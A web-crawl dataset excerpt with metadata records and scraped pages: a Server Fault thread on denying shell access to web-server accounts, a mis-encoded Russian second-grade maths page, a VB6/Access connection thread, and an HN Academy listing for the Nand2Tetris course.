{ "red_pajama_v2": { "ccnet_original_length": 6187, "ccnet_original_nlines": 242, "rps_doc_curly_bracket": 0.0006465199985541403, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.29446935653686523, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.044843051582574844, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2600896954536438, "rps_doc_frac_unique_words": 0.34705883264541626, "rps_doc_mean_word_length": 5.372941017150879, "rps_doc_num_sentences": 95, "rps_doc_symbol_to_word_ratio": 0.003736919956281781, "rps_doc_unigram_entropy": 4.890283107757568, "rps_doc_word_count": 850, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.1002846509218216, "rps_doc_frac_chars_dupe_6grams": 0.0698489174246788, "rps_doc_frac_chars_dupe_7grams": 0.012699799612164497, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.015327350236475468, "rps_doc_frac_chars_top_3gram": 0.04160280153155327, "rps_doc_frac_chars_top_4gram": 0.018611779436469078, "rps_doc_books_importance": -566.3621215820312, "rps_doc_books_importance_length_correction": -566.3621215820312, "rps_doc_openwebtext_importance": -311.3314208984375, "rps_doc_openwebtext_importance_length_correction": -311.3314208984375, "rps_doc_wikipedia_importance": -252.80491638183594, "rps_doc_wikipedia_importance_length_correction": -252.80491638183594 }, "fasttext": { "dclm": 0.4172874689102173, "english": 0.7708918452262878, "fineweb_edu_approx": 2.2152528762817383, "eai_general_math": 0.0858151912689209, "eai_open_web_math": 0.5908904075622559, "eai_web_code": 0.004204209893941879 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.455", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.436", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-3,994,511,573,636,352,000
Take the 2-minute tour × Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required. Is it a bad idea to grant shell access to the user account destined to be running Apache/Nginx? I ask because, the Guvnr, in his VPS Bible series, sets up a new user with visudo'd guvnr ALL=(ALL) ALL privileges, and then sets up an Nginx server with that user. Whereas the authors of Nginx HTTP Server recommend that you not grant shell access to the user running Nginx. You could always remove guvnr's shell access, but then, how would you administer your websites? edit: @Bart Silverstrim - Here's how the guvnr installs Nginx: • (logged in as user guvnr) • sudo install nginx dependencies • user wget nginx source files • user ./configure --sbin-path=/usr/local/sbin --with-http_ssl_module • user make • sudo make install So perhaps Nginx is being installed to root here? Is this an ok practice if root login is disabled in /etc/ssh/sshd_config? share|improve this question 3 Answers 3 up vote 5 down vote accepted Generally it's a bad idea to give shell access to any account that is created just for a daemon/service to have access to particular system functions that don't require shell access. That way it'll prevent someone from breaking an (Internet-facing) service and gaining more privileges than was necessary. Basically, why increase your attack surface if you don't need to? On the flipside, in re-reading the question, it's not clear that nginx has has a shell account. Was nginx set up BY the guvnr account, or was it granted an actual account of its own? Every application is set up by a user, often with some administrative access. It doesn't mean that it's running AS that user always (i.e., just because cat was installed by root doesn't mean that jdoe running cat is running cat as root.) Only if nginx were running with guvnr's account privileges or as guvnr would it have access to the shell; it may very well be dropping privileges as soon as it forks or it could have its own nginx account or run as a web user account that has little or no privileges. You might want to do more digging in the config and see just what the server is running as. share|improve this answer      Edited my post to reflect RTFM again :). I believe it's being run from root. Is that ok? –  bottles Oct 4 '11 at 15:51      It means it's being installed as an elevated account, not that it's necessarily running as root. There are daemons that start with elevated privileges and drop them at runtime. Look in the config files to see if there's a user account it's specified to run as, or perhaps in Top it may show what user it's running as. –  Bart Silverstrim Oct 4 '11 at 16:36      You're right - There's an alternate user specified in nginx.conf. –  bottles Oct 4 '11 at 17:24 Because of security. If the user can't get an actual interactive shell, it's one thing less to worry about when securing your server. Whether the user can use sudo or not has nothing to do with the user being able to open a shell. share|improve this answer Generally you want to give your users minimum privileges they need to do their job. Services do not need shell, so you generally wouldn't give shell access to accounts dedicated to running a daemon. Especially, if a service accessible from network runs as a particular user, it's good idea not to give that user shell access. The reasoning is, that if your service gets compromised, then the attacker won't get shell access to the system. If this user has a shell access, the attacker potentially has one obstacle less to overcome to take over your system. If this user has a root equivalent privileges (via sudo), then if an attacker manages to trick the system to run some command, he can do it with root authority. While having a web server run under a uid with shell access is something you can reason about, your setup is very close to running the service as root. Bad idea IMO. How do you administer? Either "by hand" or find a tool that does not require you to compromise your systems security. share|improve this answer Your Answer   discard By posting your answer, you agree to the privacy policy and terms of service. Not the answer you're looking for? Browse other questions tagged or ask your own question.
{ "url": "http://serverfault.com/questions/318307/why-remove-shell-access-for-the-apache-nginx-user/318311", "source_domain": "serverfault.com", "snapshot_id": "crawl=CC-MAIN-2015-18", "warc_metadata": { "Content-Length": "81656", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:N7ZXESIL7Z76DAFKVRCCUOCTUW62DUZM", "WARC-Concurrent-To": "<urn:uuid:4bdfe87b-9f73-4f34-b3ed-7be923b39f13>", "WARC-Date": "2015-04-18T03:34:27Z", "WARC-IP-Address": "190.93.246.183", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:2EAI7K5O542ICY3PINKQYZF7I5PD4WEH", "WARC-Record-ID": "<urn:uuid:40b9870d-2ebc-4ec7-b029-ed012670bcd0>", "WARC-Target-URI": "http://serverfault.com/questions/318307/why-remove-shell-access-for-the-apache-nginx-user/318311", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:cf36ff71-a050-4d5e-b642-d6c866194dd0>" }, "warc_info": "robots: classic\r\nhostname: ip-10-235-10-82.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-18\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 25, 149, 150, 246, 247, 331, 332, 353, 354, 415, 416, 526, 527, 623, 624, 687, 688, 718, 754, 787, 859, 873, 895, 896, 946, 947, 1021, 1022, 1050, 1051, 1063, 1064, 1093, 1094, 1399, 1400, 1466, 1467, 2248, 2249, 2275, 2280, 2399, 2404, 2761, 2766, 2862, 2863, 2997, 2998, 3095, 3096, 3122, 3123, 3322, 3323, 3563, 3564, 3843, 3844, 4010, 4011, 4129, 4130, 4156, 4157, 4169, 4170, 4172, 4180, 4181, 4259, 4260 ], "line_end_idx": [ 25, 149, 150, 246, 247, 331, 332, 353, 354, 415, 416, 526, 527, 623, 624, 687, 688, 718, 754, 787, 859, 873, 895, 896, 946, 947, 1021, 1022, 1050, 1051, 1063, 1064, 1093, 1094, 1399, 1400, 1466, 1467, 2248, 2249, 2275, 2280, 2399, 2404, 2761, 2766, 2862, 2863, 2997, 2998, 3095, 3096, 3122, 3123, 3322, 3323, 3563, 3564, 3843, 3844, 4010, 4011, 4129, 4130, 4156, 4157, 4169, 4170, 4172, 4180, 4181, 4259, 4260, 4350 ] }
{ "red_pajama_v2": { "ccnet_original_length": 4350, "ccnet_original_nlines": 73, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.41932058334350586, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.011677280068397522, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.1751592457294464, "rps_doc_frac_unique_words": 0.38410595059394836, "rps_doc_mean_word_length": 4.475496768951416, "rps_doc_num_sentences": 44, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.118913650512695, "rps_doc_word_count": 755, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.036105360835790634, "rps_doc_frac_chars_dupe_6grams": 0.036105360835790634, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.032554011791944504, "rps_doc_frac_chars_top_3gram": 0.019236460328102112, "rps_doc_frac_chars_top_4gram": 0.0142053896561265, "rps_doc_books_importance": -253.29837036132812, "rps_doc_books_importance_length_correction": -253.29837036132812, "rps_doc_openwebtext_importance": -210.157470703125, "rps_doc_openwebtext_importance_length_correction": -210.157470703125, "rps_doc_wikipedia_importance": -126.98081970214844, "rps_doc_wikipedia_importance_length_correction": -126.98081970214844 }, "fasttext": { "dclm": 0.44005054235458374, "english": 0.951797604560852, "fineweb_edu_approx": 1.987173318862915, "eai_general_math": 0.026230279356241226, "eai_open_web_math": 0.057819660753011703, "eai_web_code": 0.007631480228155851 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.822", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.678", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "5", "label": "Evaluate" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-268,097,905,228,495,200
>>> Ïåðåéòè íà ìîáèëüíûé ðàçìåð ñàéòà >>> Ó÷åáíèê äëÿ 2 êëàññà |1 ÷àñòü| ÌÀÒÅÌÀÒÈÊÀ         Óðîê ñòð. 9 Îäíîçíà÷íûå ÷èñëà             Äâóçíà÷íûå ÷èñëà 1. Âûïèøè â îäíó ñòðîêó îäíîçíà÷íûå ÷èñëà, à â äðóãóþ — äâóçíà÷íûå ÷èñëà: 15, 51, 7, 70, 2, 13, 1, 9, 10, 99. 2. Êàêèå ÷èñëà ïðîïóùåíû â êàæäîì ðÿäó? 3. 4. Ìèøà âûèãðàë 6 ïàðòèé â øàøêè, à Âàíÿ — íà 2 ïàðòèè áîëüøå. Ïîñòàâü âîïðîñ è ðåøè çàäà÷ó. 5. 1) Ó Êîëè áûëî 6 êíèã.  äåíü ðîæäåíèÿ åìó ïîäàðèëè åù¸ 4 êíèãè. Ñêîëüêî êíèã ñòàëî ó Êîëè? 2) Ó Êîëè 10 êíèã. Îí îòí¸ñ 2 êíèãè â êëàññíóþ áèáëèîòåêó. Ñêîëüêî êíèã ó íåãî îñòàëîñü? 6. 7. Íà ñòîëå ëåæàò îâîùè: Ñêîëüêèìè ñïîñîáàìè ìîæíî ñîñòàâèòü íàáîð èç äâóõ îâîùåé? Çàðèñóé ýòè íàáîðû â òåòðàäè. Ïðîâåðî÷íûå ðàáîòû, ñ. 4, 5. Ðåáóñû:       Top.Mail.Ru Top.Mail.Ru
{ "url": "https://tepka.ru/matematika_2-1/7.html", "source_domain": "tepka.ru", "snapshot_id": "CC-MAIN-2023-14", "warc_metadata": { "Content-Length": "7077", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:LVE23NGH3LSAXPJJAWMVAFRMEFMT2ITZ", "WARC-Concurrent-To": "<urn:uuid:39ba120c-33ca-4781-897a-36ef21421d37>", "WARC-Date": "2023-04-02T02:50:10Z", "WARC-IP-Address": "87.236.16.254", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:AESTJL624QQI4XAZVQVQNTIAHAJMKEQI", "WARC-Record-ID": "<urn:uuid:61620f2c-7a5c-41ea-9810-1b1190db71c7>", "WARC-Target-URI": "https://tepka.ru/matematika_2-1/7.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:baefeb49-67a6-4219-81f1-718fc1b347b6>" }, "warc_info": "isPartOf: CC-MAIN-2023-14\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-142\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 42, 43, 64, 74, 75, 86, 87, 95, 96, 108, 109, 156, 157, 160, 231, 232, 268, 269, 272, 309, 310, 313, 314, 317, 377, 407, 408, 411, 503, 504, 593, 594, 597, 598, 601, 623, 624, 712, 713, 714, 715, 744, 745, 753, 754, 756, 757, 759, 760, 762, 763, 775 ], "line_end_idx": [ 42, 43, 64, 74, 75, 86, 87, 95, 96, 108, 109, 156, 157, 160, 231, 232, 268, 269, 272, 309, 310, 313, 314, 317, 377, 407, 408, 411, 503, 504, 593, 594, 597, 598, 601, 623, 624, 712, 713, 714, 715, 744, 745, 753, 754, 756, 757, 759, 760, 762, 763, 775, 786 ] }
{ "red_pajama_v2": { "ccnet_original_length": 786, "ccnet_original_nlines": 52, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.024038460105657578, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.9711538553237915, "rps_doc_frac_unique_words": 0.6766917109489441, "rps_doc_mean_word_length": 7.473684310913086, "rps_doc_num_sentences": 27, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.307738304138184, "rps_doc_word_count": 133, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.03018108941614628, "rps_doc_frac_chars_top_3gram": 0, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -103.65428924560547, "rps_doc_books_importance_length_correction": -103.65428924560547, "rps_doc_openwebtext_importance": -66.22175598144531, "rps_doc_openwebtext_importance_length_correction": -66.2217025756836, "rps_doc_wikipedia_importance": -46.96546173095703, "rps_doc_wikipedia_importance_length_correction": -46.96546173095703 }, "fasttext": { "dclm": 0.9514517784118652, "english": 0.010209660045802593, "fineweb_edu_approx": 0.9545307159423828, "eai_general_math": 0.0007025600061751902, "eai_open_web_math": 0.5303551554679871, "eai_web_code": 0.985583484172821 } }
{ "free_decimal_correspondence": { "primary": { "code": "510", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "" } }, "secondary": { "code": "372.7", "labels": { "level_1": "Social sciences", "level_2": "Education", "level_3": "Education, Elementary and Kindergarten" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "1", "label": "Factual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-7,400,953,836,370,477,000
0 I am using an Access Database through Visual Basic 6. Is there any other way to access the database excluding the following code. Set CNN = New ADODB.Connection str = "\\SYS8\DATAX\EMP.MDB" CNN.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + str + ";Persist Security Info=False" CNN.CursorLocation = adUseClient 3 Contributors 4 Replies 9 Views 9 Years Discussion Span Last Post by plusplus 0 I'm not sure why you don't like the code you have if it works, but just in case you're interested, this is the way I ususally do it: Dim wrkJet As Workspace Dim dbProgram As Database Dim wOrders As Recordset Set wrkJet = CreateWorkspace("", "Admin", "", dbUseJet) Set dbProgram = wrkJet.OpenDatabase("myDBName.mdb") Set wOrders = dbProgram.OpenRecordset("SELECT * FROM Orders ORDER BY OrderNumber", dbOpenSnapshot) . . . 0 Thanks. but here also Dim wrkJet As Workspace Dim dbProgram As Database Dim wOrders As Recordset Set wrkJet = CreateWorkspace("", "Admin", "", dbUseJet) Set dbProgram = wrkJet.OpenDatabase("myDBName.mdb") Set wOrders = dbProgram.OpenRecordset("SELECT * FROM Orders ORDER BY OrderNumber", dbOpenSnapshot) we have to give the path. Actually I have done my work using the above one but I just want to know is there any method or technique to use MS Access DB without using Path. 0 Where do you want to get the name of the database from? The choices are to hard code it, (not your favorite obviously), to pass it as a parameter to the application via the command line (not my favorite approach), to store it in a parameter file, the name of which can be specified on the command line used to open the application (my favorite approach), to create a form that asks the user to enter it. Maybe you can think of some other ways as well. Name your poison, Hoppy 0 I put the path in my main sub of main module and call it strdb. In the code I always write CNN.open strdb this way when there is a change you change it in the module and not every time you used the connection string This question has already been answered. Start a new discussion instead. Have something to contribute to this discussion? Please be thoughtful, detailed and courteous, and be sure to adhere to our posting rules.
{ "url": "https://www.daniweb.com/programming/software-development/threads/92706/how-to-connect-access-db-in-vb6-for-network-without-using-server-share-xy-mdb", "source_domain": "www.daniweb.com", "snapshot_id": "crawl=CC-MAIN-2017-34", "warc_metadata": { "Content-Length": "51206", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:CCHCVVWNRXPKOG4JSZI7ADVDI5DMBVQK", "WARC-Concurrent-To": "<urn:uuid:1d6934fe-5be9-47b7-8f01-2e39958972d7>", "WARC-Date": "2017-08-18T14:48:45Z", "WARC-IP-Address": "198.23.117.137", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:WSEORUVHLA2JLIM4JNIJPJTBJB3OLQAO", "WARC-Record-ID": "<urn:uuid:73ee0547-c573-4f7a-83ee-d8e462ca0a66>", "WARC-Target-URI": "https://www.daniweb.com/programming/software-development/threads/92706/how-to-connect-access-db-in-vb6-for-network-without-using-server-share-xy-mdb", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:4f4b050e-26d1-45b6-a96f-8f8e0389fb50>" }, "warc_info": "robots: classic\r\nhostname: ip-10-158-100-57.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-34\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for August 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 2, 3, 57, 133, 134, 165, 194, 290, 323, 324, 326, 339, 341, 349, 351, 357, 365, 381, 403, 405, 406, 539, 540, 541, 565, 591, 616, 672, 724, 823, 825, 827, 829, 830, 832, 833, 841, 842, 856, 857, 881, 907, 932, 988, 1040, 1139, 1140, 1166, 1219, 1312, 1313, 1315, 1316, 1768, 1769, 1787, 1788, 1794, 1795, 1797, 1798, 1862, 1889, 1904, 2014, 2015, 2088 ], "line_end_idx": [ 2, 3, 57, 133, 134, 165, 194, 290, 323, 324, 326, 339, 341, 349, 351, 357, 365, 381, 403, 405, 406, 539, 540, 541, 565, 591, 616, 672, 724, 823, 825, 827, 829, 830, 832, 833, 841, 842, 856, 857, 881, 907, 932, 988, 1040, 1139, 1140, 1166, 1219, 1312, 1313, 1315, 1316, 1768, 1769, 1787, 1788, 1794, 1795, 1797, 1798, 1862, 1889, 1904, 2014, 2015, 2088, 2226 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2226, "ccnet_original_nlines": 67, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.348195344209671, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.0573248416185379, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2208067923784256, "rps_doc_frac_unique_words": 0.5056818127632141, "rps_doc_mean_word_length": 4.886363506317139, "rps_doc_num_sentences": 29, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.846775054931641, "rps_doc_word_count": 352, "rps_doc_frac_chars_dupe_10grams": 0.25697675347328186, "rps_doc_frac_chars_dupe_5grams": 0.25697675347328186, "rps_doc_frac_chars_dupe_6grams": 0.25697675347328186, "rps_doc_frac_chars_dupe_7grams": 0.25697675347328186, "rps_doc_frac_chars_dupe_8grams": 0.25697675347328186, "rps_doc_frac_chars_dupe_9grams": 0.25697675347328186, "rps_doc_frac_chars_top_2gram": 0.0023255799897015095, "rps_doc_frac_chars_top_3gram": 0.01162790972739458, "rps_doc_frac_chars_top_4gram": 0.023255810141563416, "rps_doc_books_importance": -259.3316955566406, "rps_doc_books_importance_length_correction": -259.3316955566406, "rps_doc_openwebtext_importance": -141.33535766601562, "rps_doc_openwebtext_importance_length_correction": -141.33535766601562, "rps_doc_wikipedia_importance": -86.24726867675781, "rps_doc_wikipedia_importance_length_correction": -86.24726867675781 }, "fasttext": { "dclm": 0.7184685468673706, "english": 0.8200430274009705, "fineweb_edu_approx": 1.9354228973388672, "eai_general_math": 0.8357354402542114, "eai_open_web_math": 0.2766324281692505, "eai_web_code": 0.49195772409439087 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.758", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-9,001,212,158,456,795,000
HN Academy The best online courses of Hacker News. Hacker News Comments on Build a Modern Computer from First Principles: From Nand to Tetris (Project-Centered Course) Coursera · Hebrew University of Jerusalem · 111 HN points · 28 HN comments HN Academy has aggregated all Hacker News stories and comments that mention Coursera's "Build a Modern Computer from First Principles: From Nand to Tetris (Project-Centered Course)" from Hebrew University of Jerusalem. Course Description What you’ll achieve: In this project-centered course* you will build a modern computer system, from the ground up. We’ll divide this fascinating journey into six hands-on projects that will take you from constructing elementary logic gates all the way through creating a fully functioning general purpose computer. In the process, you will learn - in the most direct and constructive way - how computers work, and how they are designed. What you’ll need: This is a self-contained course: all the knowledge necessary to succeed in the course and build the computer system will be given as part of the learning experience. Therefore, we assume no previous computer science or engineering knowledge, and all learners are welcome aboard. You will need no physical materials, since you will build the computer on your own PC, using a software-based hardware simulator, just like real computers are designed by computer engineers in the field. The hardware simulator, as well as other software tools, will be supplied freely after you enroll in the course. Course format: The course consists of six modules, each comprising a series of video lectures, and a project. You will need about 2-3 hours to watch each module's lectures, and about 5-10 hours to complete each one of the six projects. The course can be completed in six weeks, but you are welcome to take it at your own pace. You can watch a TED talk about this course by Googling "nand2tetris TED talk". *About Project-Centered Courses: Project-centered courses are designed to help you complete a personally meaningful real-world project, with your instructor and a community of learners with similar goals providing guidance and suggestions along the way. By actively applying new concepts as you learn, you’ll master the course content more efficiently; you’ll also get a head start on using the skills you gain to make positive changes in your life and career. When you complete the course, you’ll have a finished project that you’ll be proud to use and share. HN Academy Rankings • Ranked #13 this year (2020) · view • Ranked #11 all time · view Provider Info This course is offered by Hebrew University of Jerusalem on the Coursera platform. HN Academy may receive a referral commission when you make purchases on sites after clicking through links on this page. Most courses are available for free with the option to purchase a completion certificate. See also: all Reddit discussions that mention this course at reddsera.com. Hacker News Stories and Comments All the comments and stories posted to Hacker News that reference this url. Jun 08, 2020 · 1 points, 0 comments · submitted by tams 1. CS50 [difficulty level: medium, has certificate: Yes] https://www.edx.org/course/cs50s-introduction-to-computer-sc... 2. Algorithms [difficulty level: hard, has certificate: No] https://www.coursera.org/learn/algorithms-part1 3. Nand2Tetris [difficulty level: ok, has certificate: Yes] https://www.coursera.org/learn/build-a-computer Build a Modern Computer from First Principles: From Nand to Tetris (Project-Centered Course) https://www.coursera.org/learn/build-a-computer and then part 2: https://www.coursera.org/learn/nand2tetris2 [Both courses are free] These are fantastic courses, by far the best MOOCs I have ever taken. I went into them knowing nothing about computer architecture, and by the end of the first course I was able to design a fully-working digital computer in Logisim. While other courses consist of lectures + text content, with Nand2Tetris the course is practical. The authors have developed a complete software system to allow you to complete the course: * A simplified hardware programming language to design the ALU, CPU, clock, RAM, etc.. * A hardware simulator and debugger to allow you to test the hardware that you develop * An assembler for the assembly programs you write for the computer * A compiler for the higher-level programs you write for the computer I'm probably banging-on about this course more than I reasonably should, but that's just because I enjoyed the course so much! zerr Oh, I was hoping the development of an assembler and a compiler was a part of the course. How useful would that course be for someone who knows about computer architecture, has coded in assembly, understands how compilers work, etc...? Alternatively, would this course be useful/accessible for complete beginners, e.g. mid/high schoolers? hawkjo I have to also mention nandgame.com here. Similar idea, but all presented as an interactive, browser-based game. Start with nand gates and build up to a functioning computer. You never get to tetris, but it's great and super easy to start playing/learning. Delightful. polycaster http://nandgame.com/ You‘re welcome. credit_guy Oh man, a big Thank You. I kind of know where I'll be spending 10-12 hours in the next few days. >Learn whatever assembly language first On this front, I can highly recommend these two resources, preferably in this order for someone totally new to assembly: NAND to Tetris, a course that will have you build an emulated general-purpose CPU from first principles even with no prior knowledge. You'll learn exactly about registers and memory by making them. I even recommend this to non-hardware people because the way they divide each layer of complexity is great practice even in software. https://www.coursera.org/learn/build-a-computer Microcorruption, a series of incrementally difficult MSP430 (an easy-to-understand 16-bit instruction set) exploitation exercises in the browser: https://microcorruption.com These are both geared towards being a gentle introduction to assembly and CPU architecture principles. They don't touch certain facts of X86/64 processors like pipelining or variable-length instructions, but IMO those are best left until you're comfortable with the basics. barbecue_sauce I also recommend Xeno Kovah's OpenSecurityTraining courses on YouTube, some of which are specifically dedicated to assembly. The audio quality can sometimes be pretty bad, but the information is good. Though they try to obfuscate things a little bit, these 